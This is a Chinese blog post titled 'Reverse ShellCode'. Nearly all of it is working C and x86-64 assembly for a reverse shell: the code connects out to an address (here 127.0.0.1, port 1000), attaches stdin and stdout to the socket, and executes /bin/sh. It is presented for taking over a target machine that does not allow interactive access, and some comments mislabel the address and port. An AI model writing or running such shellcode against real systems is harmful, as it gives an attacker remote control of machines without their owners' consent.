反向ShellCode

2019年6月5日00:01:57 发表评论

反向ShellCode

前言

有时候会遇到靶机不支持交互的情况,这时候就需要我们执行反向shellcode来拿shell。

reverse_shell.c

#include <sys/socket.h> //构造socket所需的库
#include <netinet/in.h> //定义sockaddr结构
#include <arpa/inet.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>

extern int errno;

int main()
{
    int soc, remote;              //文件描述符句柄
    struct sockaddr_in serv_addr; //保存IP/端口值的结构

    serv_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); //将socket的地址设置为所有本地地址
    serv_addr.sin_port = htons(1000);                   //设置socket的端口48059
    serv_addr.sin_family = AF_INET;                     //设置协议族:IP

    soc = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    remote = connect(soc, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr_in));

    if (remote == -1)
    {
        puts(strerror(errno));
    }

    dup2(soc, 0); //将stdin连接client
    dup2(soc, 1); //将stdout连接client
    // dup2(soc, 2); //将strderr连接到client

    execve("/bin/sh", NULL, NULL); //建立一个shell

    return 0;
}

64位


;// compiled :  gcc -c reverse_shellcode_x64.s
;//             ld -e main reverse_shellcode_x64.o -o reverse_shellcode_x64
    .intel_syntax noprefix
    .text
    .globl  main
    .type   main, @function
main:
    ;// socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
    mov rdi, 2
    mov rsi, 1
    mov rdx, 0
    mov rax, 41 ;// SYS_socket
    syscall

    ;// connect(soc, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr_in))
    mov rdi, rax
    mov rax, 0x0100007fe8030002
    push rax
    mov rsi, rsp
    mov rdx, 16
    mov rax, 42 ;// SYS_connect
    syscall

    ;// dup2(soc, 0)
    mov rdi, 3
    mov rsi, 0
    mov rax, 33 ;// SYS_dup2
    syscall

    ;// dup2(soc, 1)
    mov rdi, 3
    mov rsi, 1
    mov rax, 33 ;// SYS_dup2
    syscall

    ;// execve("/bin/sh", NULL, NULL)
    mov rax,0x0068732f6e69622f
    push rax
    mov rdi,rsp
    mov rax,59
    mov rsi,0
    mov rdx,0
    syscall

    ;// exit(0)
    mov rdi, 0
    mov rax, 60
    syscall

发表评论

后发表评论